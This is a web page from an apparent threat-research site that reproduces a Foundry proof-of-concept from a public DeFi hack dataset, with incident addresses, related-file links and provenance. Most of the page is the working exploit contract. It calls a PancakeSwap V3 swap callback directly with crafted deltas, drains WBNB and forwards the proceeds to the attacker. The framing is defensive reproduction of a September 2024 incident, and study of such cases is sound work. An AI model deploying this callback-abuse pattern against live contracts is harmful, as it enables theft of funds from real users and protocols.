Public reproduction file
src/test/2024-09/unverified_766a_exp.sol
Public reproduction file for dataset entry Unverified_766a.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 100 USD7// Attacker : https://bscscan.com/address/0xba35d089addac99a8e7bcd1a25712b1702623ae38// Attack Contract : https://bscscan.com/address/0xd310431e98412eb9a7c66808478bf08fdea81e2a9// Vulnerable Contract : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a5810// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a5814// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/183633902861618832117// Twitter Guy : https://x.com/TenArmorAlert/status/183633902861618832118// Hacking God : N/A20address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;21address constant addr1 = 0x766a0936FF0aD045d39871846194eDBd5DF63a58;22address constant attacker = 0xbA35D089adDaC99A8e7BcD1a25712B1702623Ae3;23address constant addr2 = 0x71cd31a564FF30ba61d7167a02Babc1484034E84;25contract ContractTest is Test {26 function setUp() public {27 vm.createSelectFork("bsc", 42357807);28 deal(attacker, 3.52e-15 ether);29 }31 function testPoC() public {32 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);33 vm.startPrank(attacker, attacker);34 AttackerC attC = new AttackerC();35 attC.attack{value: 3.52e-15 ether}();36 vm.stopPrank();37 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);38 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(address(attC)), 18);39 }40}42// 0xD310431E98412Eb9a7c66808478bF08fdea81E2a43contract AttackerC {44 function attack() public payable {45 int256 amount0Delta = -247659866327218868765;46 int256 amount1Delta = int256(int(51156128500000 * 3600));47 bytes memory data = abi.encode(address(this), addr1);49 bytes4 sel = bytes4(keccak256("pancakeV3SwapCallback(int256,int256,bytes)"));50 (bool ok, ) = addr2.call(abi.encodeWithSelector(sel, amount0Delta, amount1Delta, data));51 require(ok, "callback failed");53 withdraw();55 (bool s, ) = attacker.call{value:address(this).balance}("");56 }58 function withdraw() public {59 uint bal = IERC20(wbnb).balanceOf(address(this));60 if (bal > 1) {61 // Use call to avoid explicit conversion error62 (bool ok, ) = wbnb.call(abi.encodeWithSignature("withdraw(uint256)", bal - 1));63 require(ok, "withdraw failed");64 }65 }67 function token1() external pure returns (address) {68 return wbnb;69 }71 // fallback as per trace: no logic72 fallback() external payable { }73 receive() external payable { }74}Analysis
Dataset entry
Public Foundry test for “Unverified_766a” (2024-09-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-09/Bedrock_DeFi_exp.solSame month in the dataset · 155 lines
- src/test/2024-09/DOGGO_exp.solSame month in the dataset · 145 lines
- src/test/2024-09/OnyxDAO_exp.solSame month in the dataset · 340 lines
- src/test/2024-09/OTSeaStaking_exp.solSame month in the dataset · 109 lines
- src/test/2024-09/Penpiexyzio_exp.solSame month in the dataset · 449 lines
- src/test/2024-09/Pythia_exp.solSame month in the dataset · 103 lines
- src/test/2024-09/Shezmu_exp.solSame month in the dataset · 76 lines
- src/test/2024-09/unverified_03f9_exp.solSame month in the dataset · 73 lines
- src/test/2024-09/unverified_5697_exp.solSame month in the dataset · 40 lines
- src/test/2024-09/WXETA_exp.solSame month in the dataset · 81 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-02/unverified_35bc_exp.solSame protocol or name in the dataset · 91 lines
- src/test/2024-08/unverified_667d_exp.solSame protocol or name in the dataset · 65 lines
- src/test/2025-08/unverified_6f7a_exp.solSame protocol or name in the dataset · 229 lines
- src/test/2025-06/unverified_8490_exp.solSame protocol or name in the dataset · 108 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xba35d089addac99a8e7bcd1a25712b1702623ae3
- Attack Contract
0xd310431e98412eb9a7c66808478bf08fdea81e2a
- Vulnerable Contract
0x766a0936ff0ad045d39871846194edbd5df63a58
- Attack Tx
0x73d459ad3c926f5247a2018197d13b2a0acbc1fc46e1e54525c210a46130a56b
- Post: https://x.com/TenArmorAlert/status/1836339028616188321
- Explorer: https://bscscan.com/address/0xba35d089addac99a8e7bcd1a25712b1702623ae3
- Explorer: https://bscscan.com/address/0xd310431e98412eb9a7c66808478bf08fdea81e2a
- Explorer: https://bscscan.com/address/0x766a0936ff0ad045d39871846194edbd5df63a58
File record
- Name
- Unverified_766a
- Path
- src/test/2024-09/unverified_766a_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 04186894fcd25fb4cb32ddf5a6a9ea9f66b96905
- Language
- Solidity
- Size
- 74 lines
- Date
- 2024-09-18
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-09/unverified_766a_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 04186894fcd25fb4cb32ddf5a6a9ea9f66b96905, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.